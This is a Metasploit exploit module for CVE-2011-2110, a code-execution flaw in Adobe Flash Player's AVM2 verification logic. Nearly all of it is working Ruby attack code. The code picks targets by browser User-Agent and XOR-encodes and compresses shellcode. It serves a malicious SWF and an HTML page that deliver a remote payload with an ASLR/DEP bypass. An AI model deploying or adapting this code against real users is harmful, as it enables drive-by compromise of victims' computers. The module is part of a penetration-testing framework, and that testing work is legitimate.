Adobe Flash Player AVM Verification Logic Array Indexing Code Execution

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Adobe Flash Player AVM Verification Logic Array Indexing Code Execution',  
'Description' => %q{  
This module exploits a vulnerability in Adobe Flash Player versions 10.3.181.23  
and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification  
logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same  
vulnerability that was used for attacks against Korean based organizations.  
  
Specifically, this issue occurs when indexing an array using an arbitrary value,  
memory can be referenced and later executed. Taking advantage of this issue does not rely  
on heap spraying as the vulnerability can also be used for information leakage.  
  
Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several  
other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and  
is very reliable.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit,  
'Unknown' # malware version seen used in targeted attacks  
],  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2011-2110'],  
['OSVDB', '48268'],  
['URL', 'http://www.adobe.com/devnet/swf.html'],  
['URL', 'http://www.adobe.com/support/security/bulletins/apsb11-18.html'],  
['URL', 'http://www.accessroot.com/arteam/site/download.php?view.331'],  
['URL', 'http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'HTTP::compression' => 'gzip',  
'HTTP::chunked' => true,  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Payload' =>  
{  
'Space' => 2000,  
'BadChars' => "\x00",  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {}],  
],  
'DisclosureDate' => 'Jun 21 2012',  
'DefaultTarget' => 0))  
end  
  
def exploit  
# src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as  
# full aslr/dep bypass using the info leak as per malware  
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-2110.swf" )  
fd = File.open( path, "rb" )  
@swf = fd.read(fd.stat.size)  
fd.close  
super  
end  
  
def check_dependencies  
use_zlib  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
if agent =~ /MSIE/  
return targets[0] # ie 6/7/8 tested working  
elsif agent =~ /Firefox/  
return targets[0] # ff 10.2 tested working  
else  
return nil  
end  
end  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
my_target = get_target(agent)  
  
# Avoid the attack if the victim doesn't have the same setup we're targeting  
if my_target.nil?  
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")  
send_not_found(cli)  
return  
end  
  
xor_byte = 122  
trigger = @swf  
trigger_file = rand_text_alpha(rand(6)+3) + ".swf"  
code = rand_text_alpha(rand(6)+3) + ".txt"  
  
sc = Zlib::Deflate.deflate(payload.encoded)  
shellcode = ""  
  
sc.each_byte do | c |  
shellcode << (xor_byte ^ c)  
end  
  
uri = ((datastore['SSL']) ? "https://" : "http://")  
uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])  
uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}"  
  
bd_uri = Zlib::Deflate.deflate(uri)  
  
uri = ""  
bd_uri.each_byte do | c |  
uri << (xor_byte ^ c)  
end  
  
bd_uri = uri.unpack("H*")[0]  
  
obj_id = rand_text_alpha(rand(6)+3)  
  
if request.uri.match(/\.swf/i)  
print_status("Sending malicious swf")  
send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })  
return  
end  
  
if request.uri.match(/\.txt/i)  
print_status("Sending payload")  
send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })  
return  
end  
  
html = <<-EOS  
<html>  
<head>  
</head>  
<body>  
<center>  
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"  
id="#{obj_id}" width="600" height="400"  
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">  
<param name="movie" value="#{get_resource}/#{trigger_file}?info=#{bd_uri}" />  
<embed src="#{get_resource}/#{trigger_file}?info=#{bd_uri}" quality="high"  
width="320" height="300" name="#{obj_id}" align="middle"  
allowNetworking="all"  
type="application/x-shockwave-flash"  
pluginspage="http://www.macromedia.com/go/getflashplayer">  
</embed>  
</object>  
</center>  
</body>  
</html>  
EOS  
  
html = html.gsub(/^\t\t/, '')  
  
print_status("Sending #{self.name} HTML")  
send_response(cli, html, { 'Content-Type' => 'text/html' })  
end  
end  
`